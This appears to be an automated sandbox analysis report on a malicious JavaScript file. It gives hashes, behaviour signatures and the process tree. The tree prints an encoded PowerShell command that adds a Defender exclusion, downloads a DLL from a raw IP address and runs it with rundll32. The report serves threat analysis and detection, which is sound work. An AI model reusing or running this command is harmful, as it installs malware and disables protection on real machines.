Analysis
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max time kernel
32s -
max time network
27s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-de -
resource tags
arch:x64arch:x86image:win10v2004-20230220-delocale:de-deos:windows10-2004-x64systemwindows -
submitted
10-03-2023 14:37
Static task
static1
Behavioral task
behavioral1
Sample
0x000600000002314c-177.js
Resource
win10v2004-20230220-de
General
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Target
0x000600000002314c-177.js
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Size
42KB
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MD5
92a9139473c2d91fe9a25985b588f860
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SHA1
faab1664eebc6e483a3a8276aaac45bd1b433fb9
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SHA256
c7d069190b1f998282a3afab40689b101330dc982cfe5f9129e0ce71fddb4ebe
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SHA512
e4c627f3449156406d779d5406317733535c6c297373c7e1f8e9d61e45bdaa96b0659c35069e93d94dfc403f9b74db6ed04a2509fb20e20cea94af18ed658ad4
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SSDEEP
768:UbbU/zhPX9lR0ObivOW42vWmAlEzs3jZCa/RpHtvPRqYw65VDkqZ95uzv5ULdy:iaPXTR0yivOT4P4vpNPUYweV4EDa
Malware Config
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 1 1096 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1096 powershell.exe 1096 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1096 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 380 wrote to memory of 1096 380 wscript.exe 76 PID 380 wrote to memory of 1096 380 wscript.exe 76 PID 1096 wrote to memory of 2812 1096 powershell.exe 78 PID 1096 wrote to memory of 2812 1096 powershell.exe 78
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\0x000600000002314c-177.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:380 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABwAGwAZQBiAGUAaQBhAG4AVABlAG8AYwBhAGwAbABpAHMAIAA9ACAARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgAEgASwBDAFUAOgBcAFwAUwBPAEYAVABXAEEAUgBFAFwAXABHAHkAbgBhAGUAYwBvAGMAbwBlAG4AaQBjACAAfAAgACUAewAkAF8ALgBwAHIAZQBvAGYAZgBlAG4AZAB9ADsAIAAkAHAAbABlAGIAZQBpAGEAbgBUAGUAbwBjAGEAbABsAGkAcwAgAD0AIAAiAHMAdABlAHIAZQBvAG0AaQBjAHIAbwBzAGMAbwBwAHkAIgAgACsAIAAkAHAAbABlAGIAZQBpAGEAbgBUAGUAbwBjAGEAbABsAGkAcwA7ACAAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoAZgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcABsAGUAYgBlAGkAYQBuAFQAZQBvAGMAYQBsAGwAaQBzACkAKQA7ACAAWwBjAGwAYQBzAHMAaQBjAHkAYwAxAF0AOgA6AEUAeABlAGMAdQB0AGUAKAAiAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAeABlAGMAdQB0AGkAbwBuAHAAbwBsAGkAYwB5ACAAYgB5AHAAYQBzAHMAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAAIgAiAGAAJABjAHUAcgByAGUAbgB0AEQAcgBpAHYAZQAgAD0AIABgACgAZwBlAHQALQBsAG8AYwBhAHQAaQBvAG4AYAApAC4ARAByAGkAdgBlAC4ATgBhAG0AZQAgACsAIAAnADoAXAAnADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAYAAkAGMAdQByAHIAZQBuAHQARAByAGkAdgBlADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7AHIAZQBnACAAZABlAGwAZQB0AGUAIABIAEsARQBZAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAXABTAE8ARgBUAFcAQQBSAEUAXABuAG8AbgBzAGEAcABvAG4AaQBmAGkAYQBiAGwAZQAgAC8AdgAgAHAAcgBlAG8AZgBmAGUAbgBkACAALwBmACIAIgAiACkAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAaAB0AHQAcAA6AC8ALwA4ADUALgAyADMAOQAuADUANAAuADIAMwAzAC8ARABtAFYAVwAvADEAIAAtAE8AIAAkAGUAbgB2ADoAVABFAE0AUABcAEQAZQBlAHIAZgBsAHkALgBkAGwAbAA7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABEAGUAZQByAGYAbAB5AC4AZABsAGwALABYAEwANQA1ADsA"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1096 -
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\\Deerfly.dll XL553⤵PID:2812
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82